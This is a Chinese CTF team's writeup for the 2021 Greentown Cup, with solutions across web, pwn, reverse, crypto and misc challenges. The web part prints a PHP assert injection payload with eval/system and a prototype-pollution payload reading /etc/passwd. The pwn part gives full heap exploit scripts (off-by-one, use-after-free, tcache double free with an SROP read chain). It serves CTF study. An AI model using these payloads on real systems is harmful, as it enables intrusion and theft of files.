2021年绿城杯Light1ng战队Writeup
2021-09-29 21:05:00

Light1ng战队

一、战队信息

  • 名称:Light1ng
  • 排名:16

二、解题情况

进不去平台了,没法截图了

三、解题过程

Web

1.ezphp

ezphp

在关于里看到个Git,所以考虑存在git泄露

1632917280027.png

index.php里的php代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php

if (isset($_GET['link_page'])) {
$link_page = $_GET['link_page'];
} else {
$link_page = "home";
}

$page_file = "pages/" . $link_page . ".php";

$safe_check1 = "strpos('$page_file', '..') === false";
assert($safe_check1) or die("no no no!");

// safe!
$safe_check2 = "file_exists('$page_file')";
assert($safe_check2) or die("no this file!");
?>

由于assert会进行命令执行,且$link_page参数可控,所以此处存在rce

构造闭合:

?link_page=flag.php', '..') === true|eval($_POST['yy']);//

POST传参:

1
yy=system('ls /');

1632917308444.png

执行成功,蚁剑连接:

1632917340425.png

在pages目录下拿到flag

1632917361359.png

DASCTF{af5ff99c7f98d528e711acc42fd6b906}

2.Looking for treasure

1632909794040.png

打开源码 有提示。

下载到源码 审计。

有一处

1632910184458.png

这里读取了p文件,如果能控制p的值就能实现文件读取。

1632910656643.png

这个content和req.body肯定是不相同的不用管它 ,所以p的内容最后会在报错信息的content里发出

看看p是怎么来的

1632910389467.png

config.path给p赋值。所以得想办法控制path的值。

源码里看到

1632910536698.png

看到这个想到json-schema原型链污染

payload

1
{"$schema":{"type":"object","properties":{"__proto__":{"type":"object","properties":{"path":{"type":"string","default":"/etc/passwd"}}}}}}

1632910735053.png

成功读到了/etc/passwd的内容,猜测flag在根目录,直接读/flag

1
{"$schema":{"type":"object","properties":{"__proto__":{"type":"object","properties":{"path":{"type":"string","default":"/flag"}}}}}}

数据包

1
2
3
4
5
6
7
8
9
10
11
12
13
14
POST /validated HTTP/1.1
Host: 26db192b-6f66-42c2-b783-cbe5f58cbd88.zzctf.dasctf.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/json
Content-Length: 132
Origin: http://26db192b-6f66-42c2-b783-cbe5f58cbd88.zzctf.dasctf.com
Connection: close
Referer: http://26db192b-6f66-42c2-b783-cbe5f58cbd88.zzctf.dasctf.com/
Upgrade-Insecure-Requests: 1

{"$schema":{"type":"object","properties":{"__proto__":{"type":"object","properties":{"path":{"type":"string","default":"/flag"}}}}}}

1632918056943.png

DASCTF{5117143e660f592adc982dd96d2c3f17}

PWN

1.null

正常的菜单堆题,off-by-one漏洞,我没可以看见edit和add中都有read_input()函数,而漏洞点就在这个read_input()函数中

1632916927458.png

1632916950577.png

可以看见a2+1多读了一个字节我们可以利用这个漏洞来改写chunk的大小造成堆块的重叠。

Exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
from pwn import *
#io=process('./null')
io=remote('82.157.5.28',50404)
elf=ELF('./null')
#libc=elf.libc
libc=ELF('./libc-2.23')

def choice(choice):
io.sendlineafter('choice :',str(choice))

def malloc(index,size,context):
choice(1)
io.sendlineafter('Index:',str(index))
io.sendlineafter('Size of Heap : ',str(size))
io.sendafter('Content?:',context)

def free(index):
choice(2)
io.sendlineafter('Index:',str(index))

def edit(index,context):
choice(3)
io.sendlineafter('Index:',str(index))
io.sendafter('Content?:',context)

def view(index):
choice(4)
io.sendlineafter('Index :',str(index))

def pwn():
malloc(0,0x18,'0\n')
malloc(1,0x78,'1\n')
malloc(2,0x68,'2\n')
malloc(3,0x68,'3\n')
malloc(4,0x88,'4\n')
edit(0,'0'*0x18+p8(0xf1))
free(1)
malloc(1,0x78,'\n')
view(2)
addr=u64(io.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
mallochook=addr-0x68
libcbase=mallochook-libc.symbols['__malloc_hook']
onegadget=[0x45226,0x4527a,0xf03a4,0xf1247]

malloc(5,0x68,'5\n')
free(5)
edit(2,p64(mallochook-0x23)+'\n')
malloc(6,0x68,'6\n')
malloc(7,0x68,'7'*0x13+p64(onegadget[3]+libcbase))#malloc_hook
io.sendlineafter('choice :','1')
io.sendlineafter('Index:','8')
io.sendlineafter('Size of Heap : ',str(0x18))

io.interactive()
pwn()

2.uaf

正常的菜单题

漏洞点在,free后指针没有置0,造成uaf漏洞,直接freechunk泄露libc,打malloc_hook

1632917032904.png

Exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
from pwn import *

sh=remote('82.157.5.28',51402)

context.log_level='debug'

elf=ELF('./uaf_pwn')

libc=elf.libc
def exp():

def add(size):

sh.sendlineafter(">","1")

sh.sendlineafter("size>",str(size))

def dele(idx):

sh.sendlineafter(">","2")

sh.sendlineafter("index>",str(idx))

def edit(idx,content):

sh.sendlineafter(">","3")

sh.sendlineafter("index>",str(idx))

sh.sendlineafter("content>",content)

def show(idx):

sh.sendlineafter(">","4")

sh.sendlineafter("index>",str(idx))

add(0x80)

add(0x60)

add(0x60)

add(0x60)

add(0x60)

for i in range(4):
edit(i,str(i)*8)
dele(0)
show(0)
libc_base = u64(sh.recv(6).ljust(8,"\x00"))-88 - 0x10-libc.sym["__malloc_hook"]
success("libc_base => 0x%x",libc_base)
malloc_hook = libc_base + libc.sym["__malloc_hook"]
add(0x80)
dele(1)
dele(3)
dele(1)
edit(1,p64(malloc_hook-0x23))
gadget=[0x45226,0x4527a,0xf03a4,0xf1247]
add(0x60)
add(0x60)

edit(7,"a"*0x13+p64(gadget[1]+libc_base))
add(0x90)
sh.interactive()
exp()

3.Greentownnote

这个题的漏洞在于dele这个操作,并没将ptr+8置0

1632917088422.png

在这可以看到有沙箱函数禁用了exevce,只能读取flag

1632917105380.png

整体逻辑如下,有正常的add,dele,show功能

1632917120610.png

直接doublefree泄露libc,利用libc中的函数context可以对其进行栈迁移,我们在堆上提前布置好rop,在利用free_hook函数触发,context+53,将栈迁移到我们布置好的rop处,然后利用srop将rip指向syscall,读取flag

完整exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
from pwn import *

io = remote('82.157.5.28',51301)
elf = ELF('./GreentownNote')
libc = ELF('./libc-2.27.so')
context.log_level='debug'
context.arch='amd64'

def add(size,content):
io.sendlineafter('choice :','1')
io.sendlineafter('size :',str(size))
io.sendlineafter('Content :',content)

def show(index):
io.sendlineafter('choice :','2')
io.sendlineafter('Index :',str(index))

def dele(index):
io.sendlineafter('choice :','3')
io.sendlineafter('Index :',str(index))

add(0x100,'a'*(0x10))
add(0x100,'')
dele(0)
dele(0)

show(0)
io.recvuntil("Content: ")
leak = u64(io.recv(6).ljust(8,'\x00'))
heap_base = leak - 0x260
success(hex(heap_base))
add(0x100,p64(heap_base+0x10))
add(0x100,'a'*8)
add(0x100,'\x07'*0x40)
dele(3)
show(3)
addr=u64(io.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
malloc_hook = addr-0x70
libc_base = malloc_hook-libc.sym['__malloc_hook']
free_hook = libc_base + libc.sym['__free_hook']

setcontext = libc.sym['setcontext']+libc_base+53
syscall = libc.search(asm("syscall\nret")).next()+libc_base
print('libc_base',hex(libc_base))
add(0x100,'\x07'*0x80+p64(free_hook))
add(0x90,p64(setcontext))

frame = SigreturnFrame()
frame.rsp = (free_hook&0xfffffffffffff000)+8
frame.rax = 0
frame.rdi = 0
frame.rsi = free_hook&0xfffffffffffff000
frame.rdx = 0x280
frame.rip = syscall

pop_rdi=libc.search(asm('pop rdi\nret')).next()
pop_rsi=libc.search(asm('pop rsi\nret')).next()
pop_rdx=libc.search(asm('pop rdx\nret')).next()
pop_rax=libc.search(asm('pop rax\nret')).next()

add(0xf8,bytes(frame)[0:0xf8])
dele(5)
#open('./flag',0)
code = [pop_rdi+libc_base,free_hook&0xfffffffffffff000,pop_rsi+libc_base,0,pop_rdx+libc_base,0,pop_rax+libc_base,2,syscall]
#read(0,addr,0x40)
code+=[pop_rdi+libc_base,3,pop_rsi+libc_base,(free_hook&0xfffffffffffff000)+0x400,pop_rdx+libc_base,0x40,pop_rax+libc_base,0,syscall]
#write(1,addr,0x40)
code+=[pop_rdi+libc_base,1,pop_rax+libc_base,1,syscall]
shellcode='./flag'.ljust(8,'\x00')
shellcode+=flat(code)
io.sendline(shellcode)
io.interactive()

RE

1.easy_re

程序不难,丢入OD,进行分析

1632917606832.png

发现仅仅是单纯的xor加密,这就好办了,只需要把加密数据dump出来,然后在dump回输入内存,即可让他自动解密(取了个巧,算法没看,猜测可能是RC4魔改)

1632917626400.png

加密数据如上图

1632917648721.png

Dump过去,程序自动解密即可

2.[warmup]babyvxworks

IDA上来就开幕雷击

1632917721720.png

很明显,这是一个花指令,直接nop掉

1632917742981.png

手动处理完,类似上图的所有花指令后,直接IDA F5

1632917759315.png

1632917770360.png

1632917783353.png

Helloworld干了个啥,我也不晓得,但是,算法很明显,就是递归异或0x22,并加3,直接写脚本跑

1632917798581.png

flag:

1
flag{helo_w0rld_W3lcome_70_R3}

3.抛石机

先搞清程序如何执行成功

1632917865447.png

1632917874585.png

很明显,就是要让x<=y-0.001 z<=d-0.001且要满足那4个一元二次方程,因为不论是v1,v2,v3,v4的取值范围都很小,无限接近于0,不妨设v1=v2=v3=v4=0,然后解这4个一元二次方程(还是在线解吧:http://www.ab126.com/shuxue/8009.html),解得4个值:x1 = 1.08 , x2 = 4.33,x3 = -0.48 , x4 = 1.98,这是4个双浮点数,将他们转为字节

1632917897160.png

其余3个也是如上图这样转换,然后根据x<=y-0.001 z<=d-0.001,可知x=1.08,y=4.33,d=1.98,z=-0.48

回到开始,这里其实是一个格式的固定,判断是否为flag{xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxx}格式的flag,并不是照抄,x仅仅代表的是任意字符

1632917917707.png

全局变量初始化

1632917933686.png

运算结果,然后进行比较

1632917956912.png

1632917970247.png

1632917978890.png

这里通过动调不难发现规律,输入:13,返回结果就是13,输入ab,返回结果就是AB。

当然这里有个细节得注意,这里仅仅只操作了4个字节,而我们运算的双浮点数是8个字节,很明显不满足我们的条件,所以是算法的问题吗?No,其实后面4个字节,对整体双浮点数的影响微乎其微,所以我们可以舍弃掉,毕竟,他毕竟的是一个范围,而不是一个确切的数字,所以经过计算(我是手工,别骂,flag好像有多组,不知道是不是题的bug):flag{48e17a14-52b8-1e85-b81e-85ebae47e17a}

1632917994054.png

Crypto

1.RSA-1

易知n,c都是p的倍数,求两者公倍数即可得到p,后面简单求RSA即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
from gmpy2 import *

from Crypto.Util.number import *

n =

173652311549263483644782768725584927759117606030023943537236034618984057402347150

018201115486009149076170038066524923916867102562741566778871019971756922777296484

560875349876167437246465982344660947795407294135838263551452779804790401570754536

942505723166383481215712187597695337387215068111758669908519728384663075942262938

369341166596852157756432854658953177558927544733320342344957959361836105695710164

005353627626995176867816023020450485321314260352608789798921694410594676235230605

692855705771992363098881558330137219979339604577846532620761355617698387041668103

84309655788983073376941843467117256002645962737847

c =

694496710881543773542894128678411940313831971345573215592505592864653696259767294

180583131213068933801491345208129640027286271044720726509975040165782816583601312

284865683910085471996518868009737549119324912772559966038374682703180306602649798

929885642021625020603506818096379745479215119107143364594624591491673263700711708

519944289449566745554451748340400653660712148067868800042042228138053936851980716

217509976389198864811793777795106989997526019001899583490454144756271830743390659

202122666688563887702030400561445076308133708283860841475616225382569742049350991

4578546951634127502393647068722995363753321912676

p=gcd(n,c)

q=n//p

phi=(p-1)*(q-1)

e=65537

d=invert(e,phi)

M=powmod(c,d,n)

m=M//2021//1001//p

print(long_to_bytes(m))

flag:

1
flag{Math_1s_1nterest1ng_hah}

2.Warmup

仿射加密,简单逆一下就行

1
2
3
4
5
6
7
8
str1 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'
c='aoxL{XaaHKP_tHgwpc_hN_ToXnnht}'
s=''
for i in c:
if i in str1:
a=str1.find(i)
s+=str1[((a-23)*45)%52]
print(s)

flag:

1
flag{AffInE_CIpheR_iS_clAssiC}

3.RSA_plus

第一部分

n1是四个素数的乘积,其中$p和p_1,q和q_1$相近,将n1放入在线网站factordb中分解得到N1和N2,通过开根爆破的方式运行很久都没有出答案,于是可以猜测N1和N2不是由$pp1和qq1$得到,而是$pq1和p1q$得到,假设$p_1=p+p_0;q_1=q+q_0$,通过$(N_1-N_2+p_0q_0)^2+4p_0q_0N_2=(pq_0-p_0q+p_0q_0)^2+4p_0q_0N_2=(pq_0+p_0q+p_0q_0)^2$知,我们可以爆破$p_0,q_0$计算$(N_1-N_2+p_0q_0)^2+4p_0q_0N_2$是否为完全平方数来判断$p_0,q_0$是否为我们所求,这可以用$gmpy2$库里的iroot函数实现。找到$p_0,q_0$后求出p,q,p1,q1,然后通过欧拉函数的积性知$\varphi(n1)=(p-1)(q-1)(p1-1)(q1-1)$,解出第一部分的flag1。

第二部分

已知p2,q2之和,p2,q2之积,可通过求$x^2-(p_2+q_2)x+p_2q_2=0$的两个根得到p2,q2,再通过欧拉函数对素数幂的表达式$\varphi(n2)=(p_2^2-p_2)(q_2^3-q_2^2)$求得,然后正常的RSA解密得flag2,最后将flag1和flag2合并即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
import sympy
from gmpy2 import *
from Crypto.Util.number import *
def solve(a,b,c):
delta=b*b-4*a*c
if delta<0:
return (0,0)
delta=isqrt(delta)
if (-b+delta)%(2*a)!=0 or (-b-delta)%(2*a)!=0:
return (0,0)
return ((-b+delta)//(2*a),(-b-delta)//(2*a))

n1=6348779979606280884589422188738902470575876294643492831465947360363568026280963989291591157710389629216109615274754718329987990551836115660879103234129921943824061416396264358110216047994331119920503431491509529604742468032906950984256964560405062345280120526771439940278606226153077959057882262745273394986607004406770035459301695806378598890589432538916219821477777021460189140081521779103226953544426441823244765828342973086422949017937701261348963541035128661464068769033772390320426795044617751909787914185985911277628404632533530390761257251552073493697518547350246993679844132297414094727147161169548160586911
a1=79679231796035037354449627487236220201878797729093909877127396750043503300636464774059752126148617367251988043645511172901030621825575172979048675217341753594180007984204016274224280609480494305040439035855109422239942522968468133274883986349646765947317076885918174299537297351936448296784166003890345486613
a2=n1//a1
for p0 in range(1,2000):
for q0 in range(1,2000):
term=(a1-a2+p0*q0)**2+4*p0*q0*a2
if iroot(term,2)[1]==True:
q=(iroot(term,2)[0]-p0*q0-a1+a2)//(2*p0)
if q!=0 and a2%q==0:
print(q)
print(p0)
print(q0)
q=10619814058756849829412220719572078374866231482659600717706859832366243652256808143923755280218847619508647399114705626452464205932047979078592015381325551
p=7502883888097212950622788817096216502912511795977786941568063923158816805073284550069689733527712330353018568842826730967449095687927404679782394052855569
p0=828
q0=726
p1=p+p0
q1=q+q0
e=65537
c1=6201882078995455673376327652982610102807874783073703018551044780440620679217833227711395689114659144506630609087600915116940111002026241056808189658969089532597757995423694966667948250438579639890580690392400661711864264184444018345499567505424672090632235109624193289954785503512742400960515331371813467034511130432319427185134018830006918682733848618201088649690422818940385123599468595766345668931882249779415788129316594083269412221804774856038796248038700275509397599351533280014908894068141056694660319816046357462684688942519849441237878018480036145051967731081582598773076490918572392784684372694103015244826
phi=(p-1)*(q-1)*(p1-1)*(q1-1)
d1=invert(e,phi)
flag1=long_to_bytes(pow(c1,d1,n1))
SUM=274773146761138462708137582309097386437793891793691383033856524303010811294101933454824485010521468914846151819876043508541879637544444256520741418495479393777132830985856522008561088410862815913292288683761657919121930016956916865849261153721097671315883469348972925757078089715102032241818526925988645578778
MUL=18514724270030962172566965941723224386374076294232652258701085781018776172843355920566035157331579524980108190739141959926523082142273672741849552475156278397131571360099018592018959785627785130126477982765210498547680367230723634424036009539347854344573537848628061468892166199866227984167843139793429682559241317072979374002912607549039431398267184818771503468116379618249319324788996321340764624593443106354104274472601170229835219638093242557547840060892527576940077162990069687019966946826210112318408269749294366586682732614372434218768720577917368726530200897558912687470088583774711767599580037663378929000217
p2,q2=solve(1,-SUM,MUL)
PHI=(p2**2-p2)*(q2**3-q2**2)
d2=invert(e,PHI)
c2=25591090168544821761746024178724660839590948190451329227481168576490717242294520739865602061082558759751196452117720647426598261568572440942370039702932821941366792140173428488344932203576334292648255551171274828821657097667106792872200082579319963310503721435500623146012954474613150848083425126987554594651797477741828655238243550266972216752593788734836373144363217639612492397228808215205862281278774096317615918854403992620720969173788151215489908812749179861803144937169587452008097008940710091361183942268245271154461872102813602754439939747566507116519362821255724179093051041994730856401493996771276172343313045755916751082693149885922105491818225012844519264933137622929024918619477538521533548551789739698933067212305578480416163609137189891797209277557411169643568540392303036719952140554435338851671440952865151077383220305295001632816442144022437763089133141886924265774247290306669825085862351732336395617276100374237159580759999593028756939354840677333467281632435767033150052439262501059299035212928041546259933118564251119588970009016873855478556588250138969938599988198494567241172399453741709840486953189764289118312870580993115636710724139809708256360212728127786394411676427828431569046279687481368215137561500777480380501551616577832499521295655237360184159889151837766353116185320317774645294201044772828099074917077896631909654671612557207653830344897644115936322128351494551004652981550758791285434809816872381900401440743578104582305215488888563166054568802145921399726673752722820646807494657299104190123945675647
n2=40588227045595304080360385041082238507044292731344465815296032905633525556943787610712651675460810768762763493579129831271018141591546207557410817432455139315527674932933085299277599173971912445226532235814580879585317211349524406424200622675880992390782025158621241499693400288031658194434641718026910652327933253877313106112861283314274635124734817398465059373562194694957841264834312640926278890386089611103714990646541470577351599526904458342660444968591197606820361364761648205241041444681145820799054413179462285509661124362074093583494932706249461954240408827087015525507173082129412234486228092002841868365895837463699200959915782767657258729794037776401995309244941171415842403617486719492483671490834562579225506831496881542530519595438932482796867853234159664409420977526102480385193101883785161080269573707156626838551506024455480650224305894501968583442346807126920740779780593650871645915149689424292912611578291912721896864772950410266629045542480009266574096080138709683466489568290569363478444349563498507530805502511051165160827192795520182720802422213364247355775222858214648603034743679187470844212529134374975737510982287957316878179964602394749601431823167982157434890459245394370728942790117156485268116758052636794417268680901420193002289035538753620555488506926366624641291881353268617130968991258983002165300186971963661666476600998389048880565199317280428349802824448329898502788492233381873026217202981921654673840142095839603360666049476100561268336225902504932800605464136192275593886736746497955270280541423593
flag2=long_to_bytes(pow(c2,d2,n2))
flag=flag1+flag2
print(flag)

flag:

1
flag{Euler_funct1ons_1s_very_interst1ng}

Misc

[warmup]音频隐写

下载附件,丢入010分析,发现是WAV的文件头,于是把附件的后缀改为.wav

1632918482723.png

修改完之后,得到一段音频文件,既然题目提示了音频隐写,那就用Audacity打开这段音频分析一下

1632918531356.png

音频没发现有什么隐藏信息,于是 打开频谱图看看

1632918660611.png

1632918728228.png

得到flag:

1
flag{f8fbb2c761821d3af23858f721cc140b}

创新技术

上一页
2021-09-29 21:05:00
下一页